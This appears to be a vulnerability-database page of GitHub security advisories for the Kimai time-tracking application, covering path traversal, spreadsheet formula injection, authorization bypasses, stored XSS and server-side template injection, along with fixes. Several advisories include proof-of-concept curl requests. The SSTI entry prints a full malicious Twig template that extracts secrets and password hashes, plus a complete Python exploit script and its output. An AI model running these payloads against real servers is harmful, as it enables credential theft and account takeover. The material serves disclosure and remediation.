-Infinity
0

Vendor Risk Score

See how kimai compares to other vendors in security performance

View Risk Score →
Severity
4.9
Path Traversal
AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N

Summary

Users with the role System-Admin (ROLESYSTEADMIN) and the permission uploadinvoicetemplate can upload PDF invoice templates, which can call pdfContext.setOption('associatedfiles', ...) inside the sandboxed Twig render.

This is forwarded to mPDF's SetAssociatedFiles(), whose writer calls filegetcontents($entry['path']) during PDF output and embeds the bytes as a FlateDecode stream in the PDF. Any file readable by the PHP worker is returned to the attacker inside the rendered invoice.

Root cause

1. src/Twig/SecurityPolicy/StrictPolicy.php:123-128 explicitly whitelists PdfContext::setOption(): php if ($obj instanceof PdfContext) { if ($lcm !== 'setoption') { throw ...; } return; }

2. src/Pdf/MPdfConverter.php keeps associatedfiles in the pass-through allowlist: php $allowed = ['mode','format','defaultfontsize','defaultfont', ... , 'associatedfiles','additionalxmprdf']; and then forwards it to mPDF: php if (arraykeyexists('associatedfiles', $options) && isarray($options['associatedfiles'])) { $associatedFiles = $options['associatedfiles']; unset($options['associatedfiles']); } ... $mpdf->SetAssociatedFiles($associatedFiles);

3. mPDF 8.3.1 MetadataWriter::writeAssociatedFiles() calls filegetcontents, which respects PHP stream wrappers: php if (isset($file['path'])) { $fileContent = @filegetcontents($file['path']); } ... $filestream = gzcompress($fileContent); $this->writer->write('<</Type /EmbeddedFile');

The sandbox and the option allowlist were both written defensively (short whitelists, not blacklists), but neither side considered that associatedfiles is a PDF/A file-embedding feature whose path key is a sink.

Fix

The implemented fix has two aspects:

1. The PdfContext now works with a strict allow-list, that excludes associatedfiles 2. The MPdfConverter now removes any path from the $associatedFiles array, which can still be used by plugins: php if (\count($associatedFiles) > 0) { // remove "path" so mPDF will not use filegetcontents() on local files // callers must pre-read and pass the bytes via "content" $associatedFiles = arraymap(static function ($entry): array { if (!\isarray($entry)) { return []; }

if (\arraykeyexists('path', $entry)) { unset($entry['path']); }

return $entry; }, $associatedFiles); $mpdf->SetAssociatedFiles($associatedFiles); }

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Any ROLEUSER can create a tag with a formula string as its name (e.g. =SUM(54+51)) via POST /api/tags and assign it to a timesheet. When an admin exports timesheets to XLSX, ArrayFormatter.formatValue() joins tag names with implode() and returns the result unchanged. OpenSpout promotes any =-prefixed string to a FormulaCell, writing <f>SUM(54+51)</f> into the XLSX archive. Excel evaluates the formula when the file is opened.

Details

1. ArrayFormatter does not sanitize before returning

sanitizeDDE() exists on StringHelper and is called by TextFormatter, but ArrayFormatter never calls it. php // src/Export/Package/CellFormatter/ArrayFormatter.php:24 return implode(', ', $value); // no sanitizeDDE() call

2. Tag name validation does not block formula trigger characters

The API blocks commas in tag names but permits =, +, -, and @ - all valid formula prefixes in Excel and LibreOffice Calc.

3. OpenSpout silently promotes strings to formula cells

Cell::fromValue("=SUM(54+51)") returns a FormulaCell with no warning.

PoC

1. It logs in as normal user, creates tag =SUM(54+51), assigns it to a timesheet. 2. Admin has to export timesheets to Excel version via /en/export/ endpoint.

<img width="1339" height="700" alt="image" src="https://github.com/user-attachments/assets/884c7943-5e3b-4647-8bcc-e264d6719d66" />

<img width="1304" height="128" alt="formulainjectiontags" src="https://github.com/user-attachments/assets/ef28f2ad-7491-4a15-bb18-1fcd6ff5e55a" />

Impact

- Any ROLEUSER can plant a formula that executes on the workstation of any user who exports and opens timesheet data - A single malicious tag poisons all future exports across all users and date ranges until the tag is deleted

Fixes

1. Prevent = being part of the tag name (and other fields as well) 2. Use OpenSpout TextCell for everything that is a string

1 / 2
Source: GitHub
First published (updated )
Severity
3.3
AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N

Summary The Team API endpoints use #[IsGranted('editteam')] instead of #[IsGranted('edit', 'team')], causing Symfony TeamVoter to abstain from voting. This removes entity-level ownership checks on team operations, allowing any user with the editteam permission to modify any team, not just teams they are authorized to manage.

Details All 8 team association endpoints in src/API/TeamController.php (lines 177, 201, 229, 252, 275, 298, 321, 339) use #[IsGranted('editteam')] with a single argument. The web controller at src/Controller/TeamController.php:118 correctly uses #[IsGranted('edit', 'team')] with two arguments, passing the $team parameter as the subject. When editteam is passed as the attribute, TeamVoter::supportsAttribute() returns false because it only recognizes view, edit, and delete. The voter abstains entirely. Only RolePermissionVoter fires, which checks the role-level permission without any entity-level ownership validation.

PoC Authenticate as a user with editteam permission who is NOT a member of Team 1 curl -X POST https://TARGET/api/teams/1/members/2 \ -H "Authorization: Bearer <APITOKEN>" \ -H "Content-Type: application/json"

Expected: 403 Forbidden (user is not ROLEADMIN/ROLESUPERADMIN, or member of Team 1) Actual (pre-2.54.0): 200 OK, user added to Team 1

Impact In default configuration, only ROLEADMIN and ROLESUPERADMIN have editteam, and both roles already have irrevocable viewalldata access, making the missing check redundant. The vulnerability becomes exploitable if an administrator grants editteam to a lower-privilege role (such as ROLETEAMLEAD) through the permissions UI. In that scenario, the lower-privilege user could modify any team's membership, customer assignments, project assignments, and activity assignments without being a member or teamlead of that team.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary A Mass Assignment / Broken Object Property Level Authorization (BOPA) vulnerability in the User Preferences API allows any authenticated user (even those with the lowest privileges) to arbitrarily modify restricted financial attributes on their profile, specifically their hourlyrate and internalrate.

Details Kimai restrictively protects the hourlyrate and internalrate parameters during standard GUI flow. Users lacking the hourly-rate role permissions cannot see or edit these fields via the standard Web Form (UserApiEditForm / UserEditType).

The vulnerability exists in the dedicated preferences API endpoint: src/API/UserController.php::updateUserPreference.

When a PATCH request is sent to /api/users/{id}/preferences, the endpoint iterates through the submitted JSON array and blindly applies the new values: php foreach ($request->request->all() as $preference) { // ... validation omitted ... if (null === ($meta = $profile->getPreference($name))) { throw $this->createNotFoundException(\sprintf('Unknown custom-field "%s" requested', $name)); }

$meta->setValue($value); // <-- VULNERABILITY }

The underlying Role-Based Access Control logic (UserPreferenceSubscriber::getDefaultPreferences) accurately identifies that standard users lack the hourly-rate role, and flags the dynamically generated preference object as disabled ($preference->setEnabled(false)).

However, the updateUserPreference API endpoint entirely ignores this isEnabled() flag and forcefully saves the mutated object to the database natively via Doctrine ORM. This allows unauthorized accounts to manipulate the business-logic variables calculating their own financial earnings.

PoC 1. Log into Kimai as an unprivileged, standard employee account (a user with absolutely no roles array privileges). 2. Capture the cookie or Session cookies. (In this example, the user's ID is 2). 3. Send the following cURL request (or intercept via Burp Suite) targeting your own user ID:

bash curl -i -X PATCH "http://localhost:8001/api/users/2/preferences" \ -H "Content-Type: application/json" \ -H "cookie: <YOURSTANDARDUSERTOKEN>" \ -d '[ { "name": "hourlyrate", "value": "1337" }, { "name": "internalrate", "value": "1337" } ]'

4. The server responds with HTTP/1.1 200 OK. (Note: The hourlyrate will intentionally NOT appear in the JSON echo due to User::getVisiblePreferences sanitizing output based on the same disabled flag). 5. If an Administrator organically views User 2's profile within Kimai, or if the user logs any new timesheets, the active and billed hourlyrate applied to their account will be confirmed as 1337. <img width="1542" height="1039" alt="useraccount" src="https://github.com/user-attachments/assets/fff5e2da-d598-408d-8a01-784499ade844" /> <img width="1539" height="1037" alt="adminaccount" src="https://github.com/user-attachments/assets/86a6e8c3-a97f-4be3-9f9f-2e23fad1d8a0" />

Impact This is a Privilege Escalation and Business Logic Flaw impacting the core financial calculations of the application. An attacker with a standard user account can manipulate their own billing rate multipliers unbeknownst to administrators, resulting in fraudulent invoices, distorted timesheet exports, and unauthorized financial tampering.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary The client-side escapeForHtml() function in KimaiEscape.js, introduced in commit 89bfa82c (#2959) to fix a JavaScript XSS vulnerability, only escapes <, >, and & but does not escape " (double quote) or ' (single quote). When user-controlled data (profile alias) is placed in an HTML attribute context (title="DISPLAY") via the team member form prototype and rendered through innerHTML, the missing quote escaping allows HTML attribute injection, resulting in Stored XSS.

Details Incomplete security patch. The escapeForHtml() function was meant to prevent XSS but missed quote characters, which are critical for HTML attribute context escaping.

Vulnerable code — assets/js/plugins/KimaiEscape.js:29-33: javascript const tagsToReplace = { '&': '&amp;', '<': '&lt;', '>': '&gt;', // MISSING: '"': '&quot;' // MISSING: "'": '&#039;' };

Affected code files: - assets/js/plugins/KimaiEscape.js:24-38 — incomplete escape function - assets/js/forms/KimaiTeamForm.js:77,86 — replacement + innerHTML - templates/macros/widgets.html.twig:126 — title="{{ tooltip }}" in avatar macro - templates/form/blocks.html.twig:104 — {{ widgets.avatar('INITIALS', 'COLOR', 'DISPLAY') }}

PoC poc.zip

Please extract the uploaded compressed file before proceeding

1. ./setup.sh 2. ./pocxss.sh

<img width="751" height="155" alt="스크린샷 2026-04-07 오후 9 06 27" src="https://github.com/user-attachments/assets/c09a23fb-f60b-49dd-9018-8c723e35b4c4" />

Impact - Stored XSS: payload persists in the database (user alias field) - Privilege escalation: ROLEUSER injects XSS that executes in ROLEADMIN/ROLESUPERADMIN browser session

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.03%
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

GET /api/invoices/{id} only checks the role-based viewinvoice permission but does not verify the requesting user has access to the invoice's customer. Any user with ROLETEAMLEAD (which grants viewinvoice) can read all invoices in the system, including those belonging to customers assigned to other teams.

Affected Code

src/API/InvoiceController.php line 92-101:

php #[IsGranted('viewinvoice')] // Role check only, no customer access check #[Route(methods: ['GET'], path: '/{id}', name: 'getinvoice', requirements: ['id' => '\d+'])] public function getAction(Invoice $invoice): Response { $view = new View($invoice, 200); $view->getContext()->setGroups(self::GROUPSENTITY); return $this->viewHandler->handle($view); // Returns ANY invoice by ID }

The web controller (src/Controller/InvoiceController.php line 304-307) correctly checks customer access:

php #[IsGranted('viewinvoice')] #[IsGranted(new Expression("isgranted('access', subject.getCustomer())"), 'invoice')] public function downloadAction(Invoice $invoice, ...): Response { ... }

The access attribute in CustomerVoter (line 71-87) verifies team membership, but this check is entirely missing from the API endpoint.

PoC

Tested against Kimai v2.50.0 (Docker: kimai/kimai2:apache).

Setup: - TeamA with CustomerA ("SecretCorp"), TeamB with CustomerB ("BobCorp") - Bob is a teamlead in TeamB only - An invoice exists for SecretCorp (TeamA)

bash Bob (TeamB) reads SecretCorp (TeamA) invoice curl -H "Authorization: Bearer BOBTOKEN" http://localhost:8888/api/invoices/1

Response (200 OK): json { "invoiceNumber": "INV-2026-001", "total": 15000.0, "currency": "USD", "customer": {"name": "SecretCorp", ...} }

Bob can also enumerate all invoices via GET /api/invoices — the list endpoint uses setCurrentUser() in the query but the single-item endpoint bypasses this entirely via Symfony ParamConverter.

Impact

Any teamlead can read all invoices across the system regardless of team assignment. Invoice data typically contains sensitive financial information (amounts, customer details, payment terms). In multi-team deployments this breaks the intended data isolation between teams.

Suggested Fix

Add the customer access check to the API endpoint, matching the web controller:

diff #[IsGranted('viewinvoice')] +#[IsGranted(new Expression("isgranted('access', subject.getCustomer())"), 'invoice')] #[Route(methods: ['GET'], path: '/{id}', name: 'getinvoice')] public function getAction(Invoice $invoice): Response

1 / 2
Source: GitHub
First published (updated )
Severity
5.1
XSS
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Kimai 2 contains a persistent cross-site scripting vulnerability that allows attackers to inject malicious scripts into timesheet descriptions. Attackers can insert SVG-based XSS payloads in the description field to execute arbitrary JavaScript when the page is loaded and viewed by other users.

First published (updated )
Severity
6.8
EPSS
0.03%
CSRF
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)

Vulnerability Summary

| Field | Value | |-------|-------| | Title | Authenticated SSTI via Permissive Export Template Sandbox || Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | High (Admin with export permissions and server access) | | User Interaction | None | | Impact | Confidentiality: HIGH (Credential/Secret Extraction) | | Affected Versions | Kimai 2.45.0 (likely earlier versions) | | Tested On | Docker: kimai/kimai2:apache-2.45.0 | | Discovery Date | 2026-01-05 |

---

Why Scope is "Changed": The extracted APPSECRET can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.

---

Vulnerability Description

Kimai's export functionality uses a Twig sandbox with an overly permissive security policy (DefaultPolicy) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:

1. Environment Variables (APPSECRET, DATABASEURL) 2. All User Password Hashes (bcrypt) 3. Serialized Session Tokens 4. CSRF Tokens

---

Prerequisites

1. Authenticated Access: Valid account with export permissions (typically ROLEADMIN, ROLESUPERADMIN, or ROLETEAMLEAD) 2. Template Deployment: Ability to place a malicious .pdf.twig template in /opt/kimai/var/export/ via: - Filesystem access (server admin)

---

Test Environment

Users in Test Instance

The test environment contains 2 users whose password hashes were successfully extracted:

Kimai Users Page - screenshotusers.png: <img width="1124" height="1119" alt="screenshotusers" src="https://github.com/user-attachments/assets/89771b84-a95c-4c6d-9515-7e9a38ef3235" />

| User | Role | Hash Extracted | |------|------|----------------| | admin | ROLESUPERADMIN | ✅ Yes | | lowpriv | ROLEUSER | ✅ Yes |

---

Confirmed Exploitation Evidence

Test Date: 2026-01-05

Extracted Data (Actual Output from Exploit)

===SSTIEXTRACTIONSTART===

1. ENVIRONMENT VARIABLES APPSECRET: changethistosomethingunique DATABASEURL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0 APPENV: prod

2. SESSION TOKEN (SERIALIZED) O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{ i:0;N;i:1;s:12:"securedarea";i:2;a:5:{ i:0;O:15:"App\Entity\User":5:{ s:2:"id";i:1; s:8:"username";s:5:"admin"; s:7:"enabled";b:1; s:5:"email";s:17:"admin@example.com"; s:8:"password";s:60:"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye"; } i:1;b:1;i:2;N;i:3;a:0:{} i:4;a:2:{i:0;s:16:"ROLESUPERADMIN";i:1;s:9:"ROLEUSER";} } }

3. CURRENT USER DETAILS username: admin email: admin@example.com passwordhash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye roles: ROLESUPERADMIN, ROLEUSER

4. ALL USER PASSWORD HASHES (FROM TIMESHEETS) admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a

5. CSRF TOKENS csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4 csrf/datatableupdate: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCzHLtbBJ58

===SSTIEXTRACTIONEND===

---

Root Cause Analysis

Vulnerable Code: src/Twig/SecurityPolicy/ExportPolicy.php

The export functionality uses ExportPolicy which includes DefaultPolicy:

php $this->policy->addPolicy(new DefaultPolicy());

The Problem: src/Twig/SecurityPolicy/DefaultPolicy.php

php final class DefaultPolicy implements SecurityPolicyInterface { public function checkSecurity($tags, $filters, $functions): void { // EMPTY - No restrictions on Twig tags/filters/functions }

public function checkMethodAllowed($obj, $method): void { // EMPTY - Allows ANY method call on ANY object }

public function checkPropertyAllowed($obj, $property): void { // EMPTY - Allows ANY property access on ANY object } }

This allows templates to call methods like: - app.request.server.get("APPSECRET") - Environment variable access - app.session.get("securitysecuredarea") - Session data access - entry.user.password - Password hash access

---

Exploitation Steps

Step 1: Deploy Malicious Template

Save the following as /opt/kimai/var/export/ssti-extract.pdf.twig:

bash docker exec kimai-kimai-1 bash -c 'cat > /opt/kimai/var/export/ssti-extract.pdf.twig << "TEMPLATE" <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>SSTI Data Extraction</title> <style> body { font-family: monospace; font-size: 10px; } h1, h2 { color: #333; } pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; } </style> </head> <body>

<h1>===SSTIEXTRACTIONSTART===</h1>

<h2>1. ENVIRONMENT VARIABLES</h2> <pre> APPSECRET: {{ app.request.server.get("APPSECRET") }} DATABASEURL: {{ app.request.server.get("DATABASEURL") }} APPENV: {{ app.request.server.get("APPENV") }} APPDEBUG: {{ app.request.server.get("APPDEBUG") }} </pre>

<h2>2. SESSION TOKEN (SERIALIZED)</h2> <pre> {{ app.session.get("securitysecuredarea") }} </pre>

<h2>3. CURRENT USER DETAILS</h2> <pre> {% set user = query.currentUser %} username: {{ user.username }} email: {{ user.email }} passwordhash: {{ user.password }} roles: {{ user.roles|join(", ") }} id: {{ user.id }} </pre>

<h2>4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)</h2> <pre> {% set seen = {} %} {% for entry in entries %} {% if entry.user is defined and entry.user.username not in seen %} {% set seen = seen|merge({(entry.user.username): true}) %} {{ entry.user.username }}:{{ entry.user.password }} {% endif %} {% endfor %} </pre>

<h2>5. CSRF TOKENS</h2> <pre> csrf/search: {{ app.session.get("csrf/search") }} csrf/datatableupdate: {{ app.session.get("csrf/datatableupdate") }} csrf/entitiesmultiupdate: {{ app.session.get("csrf/entitiesmultiupdate") }} </pre>

<h2>6. USER PREFERENCES</h2> <pre> {% set user = query.currentUser %} {% for pref in user.preferences %} {{ pref.name }}: {{ pref.value }} {% endfor %} </pre>

<h1>===SSTIEXTRACTIONEND===</h1>

</body> </html> TEMPLATE'

Step 2: Run the Exploit

bash python3 sstiexploit.py http://localhost:8001 admin ChangeMeStrong123!

Step 3: Extract Text from PDF

bash pdftotext kimaiextracteddata.pdf -

---

Detailed Exploit Usage

Requirements

bash Install Python dependencies pip install requests

Install PDF text extraction tool sudo apt install poppler-utils

Command Syntax

python3 sstiexploit.py <targeturl> <username> <password> [templatename]

Arguments: targeturl - Kimai instance URL (e.g., http://localhost:8001) username - Valid admin username with export permissions password - User password templatename - Optional: custom template (default: ssti-extract.pdf.twig)

Example Usage

bash Basic usage python3 sstiexploit.py http://localhost:8001 admin ChangeMeStrong123!

With custom template python3 sstiexploit.py http://localhost:8001 admin ChangeMeStrong123! custom-template.pdf.twig

Expected Output

╔═══════════════════════════════════════════════════════════════╗ ║ Kimai 2.45.0 - SSTI Information Disclosure Exploit ║ ║ ║ ║ Extracts: APPSECRET, DATABASEURL, Password Hashes ║ ╚═══════════════════════════════════════════════════════════════╝

[] Connecting to http://localhost:8001 [] Authenticating as admin [+] Successfully authenticated as admin [] Triggering SSTI with template: ssti-extract.pdf.twig [+] PDF generated successfully: 35356 bytes [+] PDF saved to: kimaiextracteddata.pdf

============================================================ RAW EXTRACTED DATA: ============================================================ ===SSTIEXTRACTIONSTART===

1. ENVIRONMENT VARIABLES APPSECRET: changethistosomethingunique DATABASEURL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0 APPENV: prod

2. SESSION TOKEN (SERIALIZED) O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{...}

3. CURRENT USER DETAILS username: admin email: admin@example.com passwordhash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye roles: ROLESUPERADMIN, ROLEUSER

4. ALL USER PASSWORD HASHES (FROM TIMESHEETS) admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a

5. CSRF TOKENS csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4 csrf/datatableupdate: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCzHLtbBJ58

===SSTIEXTRACTIONEND===

============================================================ CRITICAL FINDINGS SUMMARY: ============================================================ [!] APPSECRET: changethistosomethingunique [!] DATABASEURL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0 [!] Password Hashes Found: 2 unique admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye... lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a... [!] Session Token: Present (serialized PHP object) [!] CSRF Tokens: 2 found

[+] Exploitation successful! [+] Full output saved to: kimaiextracteddata.pdf

Output Files

| File | Description | |------|-------------| | kimaiextracteddata.pdf | PDF containing all extracted sensitive data |

Manual PDF Text Extraction

bash Extract text from PDF pdftotext kimaiextracteddata.pdf -

Save to file pdftotext kimaiextracteddata.pdf extractedsecrets.txt

Search for specific secrets pdftotext kimaiextracteddata.pdf - | grep -E "(APPSECRET|DATABASEURL|\\\$2y\\\$)"

Error Handling

| Error Message | Cause | Solution | |---------------|-------|----------| | Cannot connect to <url> | Target unreachable | Check URL and network | | Authentication failed | Wrong credentials | Verify username/password | | Template not found | Template not deployed | Deploy template first (Step 1) | | Access denied | Insufficient permissions | Use admin account with export perms | | pdftotext not installed | Missing tool | Run apt install poppler-utils |

---

Complete Exploit Script (sstiexploit.py)

python #!/usr/bin/env python3 """ Kimai 2.45.0 - SSTI Information Disclosure Exploit Extracts: APPSECRET, DATABASEURL, Password Hashes, Session Tokens

Prerequisites: 1. Valid admin credentials 2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig

Usage: python3 sstiexploit.py <targeturl> <username> <password> Example: python3 sstiexploit.py http://localhost:8001 admin ChangeMeStrong123!

Author: Security Research Date: 2026-01-05 """

import requests import re import subprocess import sys import os

class KimaiSSTIExploit: def init(self, target, username, password): self.target = target.rstrip('/') self.session = requests.Session() self.username = username self.password = password def login(self): """Authenticate to Kimai""" print(f"[] Connecting to {self.target}") try: loginpage = self.session.get(f"{self.target}/en/login", timeout=10) except requests.exceptions.ConnectionError: raise Exception(f"Cannot connect to {self.target}") except requests.exceptions.Timeout: raise Exception(f"Connection timeout to {self.target}") if loginpage.statuscode != 200: raise Exception(f"Cannot reach login page: HTTP {loginpage.statuscode}") csrfmatch = re.search(r'name="csrftoken"[^>]value="([^"]+)"', loginpage.text) if not csrfmatch: raise Exception("CSRF token not found on login page") csrf = csrfmatch.group(1) print(f"[] Authenticating as {self.username}") loginresp = self.session.post( f"{self.target}/en/logincheck", data={ "username": self.username, "password": self.password, "csrftoken": csrf }, allowredirects=True, timeout=10 ) # Check for successful login if "logout" not in loginresp.text.lower() and "sign out" not in loginresp.text.lower(): if "invalid" in loginresp.text.lower() or "incorrect" in loginresp.text.lower(): raise Exception("Invalid username or password") raise Exception("Authentication failed - check credentials") print(f"[+] Successfully authenticated as {self.username}") return True def triggerssti(self, templatename="ssti-extract.pdf.twig"): """Trigger SSTI via export functionality""" print(f"[] Triggering SSTI with template: {templatename}") try: exportresp = self.session.post( f"{self.target}/en/export/data", data={ "renderer": templatename, "state": "3", # All states "billable": "0", # All billable states "exported": "5", # All export states "markAsExported": "0", }, timeout=60 ) except requests.exceptions.Timeout: raise Exception("Export request timed out") if exportresp.statuscode == 404: raise Exception(f"Template '{templatename}' not found - deploy template first") if exportresp.statuscode == 403: raise Exception("Access denied - user lacks export permissions") if exportresp.statuscode != 200: raise Exception(f"Export failed: HTTP {exportresp.statuscode}") if b'%PDF' not in exportresp.content[:10]: if b'error' in exportresp.content.lower() or b'exception' in exportresp.content.lower(): raise Exception("Template rendering error - check template syntax") raise Exception("Invalid response - expected PDF output") print(f"[+] PDF generated successfully: {len(exportresp.content)} bytes") return exportresp.content def extracttext(self, pdfcontent, outputpath="/tmp/kimaisstioutput.pdf"): """Extract text from PDF using pdftotext""" with open(outputpath, "wb") as f: f.write(pdfcontent) try: result = subprocess.run( ["pdftotext", outputpath, "-"], captureoutput=True, text=True, timeout=30 ) if result.returncode != 0: print(f"[-] pdftotext error: {result.stderr}") return None return result.stdout except FileNotFoundError: print("[-] pdftotext not installed") print(" Install with: apt install poppler-utils") return None except subprocess.TimeoutExpired: print("[-] pdftotext timed out") return None

def parsefindings(self, text): """Parse and categorize extracted data""" findings = { "appsecret": None, "databaseurl": None, "passwordhashes": [], "sessiontoken": None, "csrftokens": [] } lines = text.split('\n') for i, line in enumerate(lines): line = line.strip() if "APPSECRET:" in line: findings["appsecret"] = line.split("APPSECRET:")[-1].strip() if "DATABASEURL:" in line or "mysql://" in line: if "mysql://" in line: findings["databaseurl"] = line.strip() elif i + 1 < len(lines): findings["databaseurl"] = lines[i + 1].strip() if "$2y$" in line: findings["passwordhashes"].append(line) if "UsernamePasswordToken" in line: findings["sessiontoken"] = "Present (serialized PHP object)" if "csrf" in line.lower() or len(line) == 43: if ":" in line: findings["csrftokens"].append(line) return findings

def printbanner(): print(""" ╔═══════════════════════════════════════════════════════════════╗ ║ Kimai 2.45.0 - SSTI Information Disclosure Exploit ║ ║ ║ ║ Extracts: APPSECRET, DATABASEURL, Password Hashes ║ ╚═══════════════════════════════════════════════════════════════╝ """)

def main(): printbanner() if len(sys.argv) < 4: print("Usage: python3 sstiexploit.py <targeturl> <username> <password> [templatename]") print() print("Arguments:") print(" targeturl - Kimai instance URL (e.g., http://localhost:8001)") print(" username - Valid admin username") print(" password - User password") print(" templatename - Optional: custom template name (default: ssti-extract.pdf.twig)") print() print("Example:") print(" python3 sstiexploit.py http://localhost:8001 admin ChangeMeStrong123!") print() print("Prerequisites:") print(" 1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig") print(" 2. User must have export permissions (ROLEADMIN or higher)") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] template = sys.argv[4] if len(sys.argv) > 4 else "ssti-extract.pdf.twig" exploit = KimaiSSTIExploit(target, username, password) try: # Step 1: Authenticate exploit.login() # Step 2: Trigger SSTI pdfcontent = exploit.triggerssti(template) # Step 3: Save PDF outputfile = "kimaiextracteddata.pdf" with open(outputfile, "wb") as f: f.write(pdfcontent) print(f"[+] PDF saved to: {outputfile}") # Step 4: Extract and display text text = exploit.extracttext(pdfcontent) if text: print() print("="60) print("RAW EXTRACTED DATA:") print("="60) print(text[:2000]) if len(text) > 2000: print(f"\n... [{len(text) - 2000} more characters]") # Parse findings findings = exploit.parsefindings(text) print() print("="60) print("CRITICAL FINDINGS SUMMARY:") print("="60) if findings["appsecret"]: print(f"[!] APPSECRET: {findings['appsecret']}") if findings["databaseurl"]: print(f"[!] DATABASEURL: {findings['databaseurl']}") if findings["passwordhashes"]: uniquehashes = list(set(findings["passwordhashes"])) print(f"[!] Password Hashes Found: {len(uniquehashes)} unique") for h in uniquehashes[:5]: print(f" {h[:80]}...") if len(uniquehashes) > 5: print(f" ... and {len(uniquehashes) - 5} more") if findings["sessiontoken"]: print(f"[!] Session Token: {findings['sessiontoken']}") if findings["csrftokens"]: print(f"[!] CSRF Tokens: {len(findings['csrftokens'])} found") print() print("[+] Exploitation successful!") print(f"[+] Full output saved to: {outputfile}") return 0 except KeyboardInterrupt: print("\n[-] Interrupted by user") return 130 except Exception as e: print(f"[-] Exploitation failed: {e}") return 1

if name == "main": sys.exit(main())

---

Impact Analysis

| Extracted Data | Security Impact | |---------------|-----------------| | APPSECRET | Can forge Symfony login links to access ANY user account | | DATABASEURL | Direct database connection credentials exposed | | Password Hashes | Offline password cracking possible (bcrypt) | | Session Tokens | Session structure analysis, potential replay attacks | | CSRF Tokens | Bypass CSRF protection for subsequent attacks |

Attack Chain Example

1. Exploit SSTI → Extract APPSECRET 2. Use APPSECRET to forge login link for target user 3. Access target user's account without knowing their password

---

Remediation

Immediate Fix

Replace DefaultPolicy with InvoicePolicy in ExportPolicy:

php // src/Twig/SecurityPolicy/ExportPolicy.php // Change: $this->policy->addPolicy(new DefaultPolicy());

// To: $this->policy->addPolicy(new InvoicePolicy());

Additional Hardening

1. Block environment access in templates: php public function checkMethodAllowed($obj, $method): void { if ($obj instanceof Request && $method === 'getServer') { throw new SecurityError('Server access not allowed'); } }

2. Block session access in templates: php if ($obj instanceof Session) { throw new SecurityError('Session access not allowed'); }

3. Restrict User object property access: php if ($obj instanceof User && $method === 'getPassword') { throw new SecurityError('Password access not allowed'); }

---

Reported by: Mahammad Huseynkhanli

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Kimai 1.30.10 contains a SameSite cookie vulnerability that allows attackers to steal user session cookies through malicious exploitation. Attackers can trick victims into executing a crafted PHP script that captures and writes session cookie information to a file, enabling potential session hijacking.

First published (updated )
Severity
9.3
SQL Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

